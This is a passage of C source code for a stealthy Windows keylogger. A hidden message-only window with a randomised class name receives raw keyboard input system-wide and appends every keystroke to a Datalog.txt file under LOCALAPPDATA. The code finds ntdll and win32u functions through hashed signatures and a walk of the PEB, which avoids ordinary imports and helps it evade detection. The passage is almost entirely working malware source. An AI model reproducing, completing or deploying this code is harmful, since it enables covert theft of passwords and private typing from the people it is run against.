(PWCHAR)L"[BS]") != NULL) dwBufferLength = (DWORD)StringLengthW(wWriteBuffer); break; } case VK_RETURN: { if(StringCopyW(wWriteBuffer, (PWCHAR)L"\r\n") != NULL) dwBufferLength = (DWORD)StringLengthW(wWriteBuffer); break; } default: { if (Api.NtUserToUnicodeEx(Key, Api.NtUserMapVirtualKeyEx(Key, 0, 0, 0), lpKeyState, pwszBuff, 2, 0, 0) >= 1) { StringConcatW(wWriteBuffer, pwszBuff); dwBufferLength = (DWORD)StringLengthW(wWriteBuffer); } else if (Api.NtUserGetKeyNameText(MAKELONG(0, Api.NtUserMapVirtualKeyEx(Key, 0, 0, 0)), AltKeyNameBuffer, 64) > 0) { StringConcatW(wWriteBuffer, (PWCHAR)L"["); StringConcatW(wWriteBuffer, AltKeyNameBuffer); StringConcatW(wWriteBuffer, (PWCHAR)L"]"); dwBufferLength = (DWORD)StringLengthW(wWriteBuffer); } break; } } if (dwBufferLength > 0) InlineRtlNtWriteFile(hHandle, wWriteBuffer); return TRUE; } LRESULT CALLBACK Wndproc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { static HANDLE hHandle; RAWINPUTDEVICE RawInputDevice; PRAWINPUT Input = 0; UINT uSize; switch (Msg) { case WM_CREATE: { WCHAR LocalAppDataPath[512] = { 0 }; RawInputDevice.usUsagePage = HID_USAGE_PAGE_GENERIC; RawInputDevice.usUsage = HID_USAGE_GENERIC_KEYBOARD; RawInputDevice.dwFlags = RIDEV_INPUTSINK; RawInputDevice.hwndTarget = hWnd; if (!Api.NtUserRegisterRawInputDevices(&RawInputDevice, 1, sizeof(RAWINPUTDEVICE))) InlineWin32uPostQuitMessage(InlineTebGetLastError()); if(InlineUppGetEnvironmentVariableW(L"LOCALAPPDATA", LocalAppDataPath, 512) == 0) InlineWin32uPostQuitMessage(InlineTebGetLastError()); StringConcatW(LocalAppDataPath, (PWCHAR)L"\\Datalog.txt"); hHandle = InlineNtdllNtCreateFile(LocalAppDataPath); if (hHandle != NULL) { if (InlineRtlSetFilePointerToEnd(hHandle) == INVALID_SET_FILE_POINTER) InlineWin32uPostQuitMessage(InlineTebGetLastError()); } else InlineWin32uPostQuitMessage(InlineTebGetLastError()); break; } case WM_INPUT: { uSize = RtlQueryRawInputSize((HRAWINPUT)lParam); if(uSize == 0) InlineWin32uPostQuitMessage(InlineTebGetLastError()); Input = (PRAWINPUT)Api.RtlAllocateHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, uSize); if(Input == NULL) InlineWin32uPostQuitMessage(InlineTebGetLastError()); if (Api.NtUserGetRawInputData((HRAWINPUT)lParam, RID_INPUT, Input, &uSize, sizeof(RAWINPUTHEADER)) == (UINT)-1) break; #pragma warning( push ) #pragma warning( disable : 6011) if(Input->header.dwType == RIM_TYPEKEYBOARD && Input->data.keyboard.Message == WM_KEYDOWN) RtlFlushInMemoryInputBufferToDisk(hHandle, Input->data.keyboard.VKey); #pragma warning( pop ) Api.RtlFreeHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, Input); break; } case WM_DESTROY: { if (hHandle) Api.NtClose(hHandle); break; } default: { return Api.NtdllDefWindowProc_W(hWnd, Msg, wParam, lParam); } } return ERROR_SUCCESS; } ULONG Next = 2; INT PseudoInlineRandomSubroutine(PULONG Context) { return ((*Context = *Context * 1103515245 + 12345) % ((ULONG)RAND_MAX + 1)); } INT PseudoInlineRandom(VOID) { return (PseudoInlineRandomSubroutine(&Next)); } PWCHAR RtlGeneratePseudoRandomString(SIZE_T dwLength) { WCHAR DataSet[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; PWCHAR String = NULL; String = (PWCHAR)Api.RtlAllocateHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, (sizeof(WCHAR) * (dwLength + 1))); if (String == NULL) return NULL; for (INT dwN = 0; dwN < dwLength; dwN++) { INT Key = PseudoInlineRandom() % (INT)(StringLengthW(DataSet) - 1); String[dwN] = DataSet[Key]; } #pragma warning (push) #pragma warning (disable: 6386) String[dwLength] = '\0'; #pragma warning (pop) return String; } BOOL LdrLoadNtDllFunctionality(VOID) { Api.LdrLoadDll = (LDRLOADDLL)ImportFunction(Api.PeBase, LDRLOADDLL_SIG); Api.RtlAllocateHeap = (RTLALLOCATEHEAP)ImportFunction(Api.PeBase, RTLALLOCATEHEAP_SIG); Api.RtlFreeHeap = (RTLFREEHEAP)ImportFunction(Api.PeBase, RTLFREEHEAP_SIG); Api.NtClose = (NTCLOSE)ImportFunction(Api.PeBase, NTCLOSE_SIG); Api.RtlDosPathNameToNtPathName_U = (RTLDOSPATHNAMETONTPATHNAME_U)ImportFunction(Api.PeBase, RTLDOSPATHNAMETONTPATHNAME_U_SIG); Api.NtCreateFile = (NTCREATEFILE)ImportFunction(Api.PeBase, NTCREATEFILE_SIG); Api.NtdllDefWindowProc_W = (NTDLLDEFWINDOWPROC_W)ImportFunction(Api.PeBase, NTDLLDEFWINDOWPROC_W_SIG); Api.NtQueryInformationFile = (NTQUERYINFORMATIONFILE)ImportFunction(Api.PeBase, NTQUERYINFORMATIONFILE_SIG); Api.NtSetInformationFile = (NTSETINFORMATIONFILE)ImportFunction(Api.PeBase, NTSETINFORMATIONFILE_SIG); Api.NtWriteFile = (NTWRITEFILE)ImportFunction(Api.PeBase, NTWRITEFILE_SIG); if (!Api.LdrLoadDll || !Api.RtlAllocateHeap || !Api.RtlFreeHeap || !Api.NtClose) return FALSE; if (!Api.RtlDosPathNameToNtPathName_U || !Api.NtCreateFile || !Api.NtdllDefWindowProc_W) return FALSE; if (!Api.NtQueryInformationFile || !Api.NtSetInformationFile || !Api.NtWriteFile) return FALSE; return TRUE; } BOOL RtlGetWin32uImageBase(VOID) { NTSTATUS Status = 0; UNICODE_STRING Win32u; RtlInitUnicodeString(&Win32u, (PWCHAR)L"Win32u.dll"); Status = Api.LdrLoadDll(NULL, 0, &Win32u, (PHANDLE)&Api.Win32uBase); if (!NT_SUCCESS(Status)) return FALSE; return TRUE; } BOOL LdrLoadWin32uFunctionality(VOID) { if (!RtlGetWin32uImageBase()) return FALSE; Api.NtUserCallOneParam = (NTUSERCALLONEPARAM)ImportFunction(Api.Win32uBase, NTUSERCALLONEPARAM_SIG); Api.NtUserDestroyWindow = (NTUSERDESTROYWINDOW)ImportFunction(Api.Win32uBase, NTUSERDESTROYWINDOW_SIG); Api.NtUserRegisterRawInputDevices = (NTUSERREGISTERRAWINPUTDEVICES)ImportFunction(Api.Win32uBase, NTUSERREGISTERRAWINPUTDEVICES_SIG); Api.NtUserGetRawInputData = (NTUSERGETRAWINPUTDATA)ImportFunction(Api.Win32uBase, NTUSERGETRAWINPUTDATA_SIG); Api.NtUserGetKeyboardState = (NTUSERGETKEYBOARDSTATE)ImportFunction(Api.Win32uBase, NTUSERGETKEYBOARDSTATE_SIG); Api.NtUserToUnicodeEx = (NTUSERTOUNICODEEX)ImportFunction(Api.Win32uBase, NTUSERTOUNICODEEX_SIG); Api.NtUserMapVirtualKeyEx = (NTUSERMAPVIRTUALKEYEX)ImportFunction(Api.Win32uBase, NTUSERMAPVIRTUALKEYEX_SIG); Api.NtUserGetKeyNameText = (NTUSERGETKEYNAMETEXT)ImportFunction(Api.Win32uBase, NTUSERGETKEYNAMETEXT_SIG); Api.NtUserGetMessage = (NTUSERGETMESSAGE)ImportFunction(Api.Win32uBase, NTUSERGETMESSAGE_SIG); Api.NtUserTranslateMessage = (NTUSERTRANSLATEMESSAGE)ImportFunction(Api.Win32uBase, NTUSERTRANSLATEMESSAGE_SIG); if (!Api.NtUserCallOneParam || !Api.NtUserDestroyWindow || !Api.NtUserRegisterRawInputDevices || !Api.NtUserGetRawInputData) return FALSE; if (!Api.NtUserGetKeyboardState || !Api.NtUserToUnicodeEx || !Api.NtUserMapVirtualKeyEx || !Api.NtUserGetKeyNameText) return FALSE; if (!Api.NtUserGetMessage || !Api.NtUserTranslateMessage) return FALSE; return TRUE; } INT WINAPI wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ INT nShowCmd) { HWND WindowHandle = NULL; MSG Msg; Api.Teb = (PTEB)GetTeb(); Api.Peb = (PPEB)Api.Teb->ProcessEnvironmentBlock; PLDR_MODULE LoaderModule = NULL; if (Api.Peb->OSMajorVersion != 0x0a) return ERROR_CALL_NOT_IMPLEMENTED; LoaderModule = (PLDR_MODULE)((PBYTE)Api.Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 16); Api.PeBase = (DWORD64)LoaderModule->BaseAddress; if(!LdrLoadNtDllFunctionality()) return ERROR_INVALID_FUNCTION; if(!LdrLoadWin32uFunctionality()) return ERROR_INVALID_FUNCTION; Api.lpszClassNameBuffer = (PWCHAR)RtlGeneratePseudoRandomString(10); WNDCLASSEXW WndClass; RtlZeroMemoryInternal(&WndClass, sizeof(WndClass)); WndClass.cbSize = sizeof(WNDCLASSEXW); WndClass.lpfnWndProc = Wndproc; WndClass.hInstance = hInstance; WndClass.lpszClassName = Api.lpszClassNameBuffer; if (!RegisterClassExW(&WndClass)) return InlineTebGetLastError(); WindowHandle = CreateWindowExW(0, Api.lpszClassNameBuffer, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, hInstance, NULL); if (WindowHandle == NULL) return InlineTebGetLastError(); while (InlineRtlNtUserGetMessage(&Msg, NULL, 0, 0) > 0) { InlineRtlNtUserTranslateMessage(&Msg, 0); DispatchMessageW(&Msg); } Api.NtUserDestroyWindow(WindowHandle); Api.RtlFreeHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, Api.lpszClassNameBuffer); return ERROR_SUCCESS; }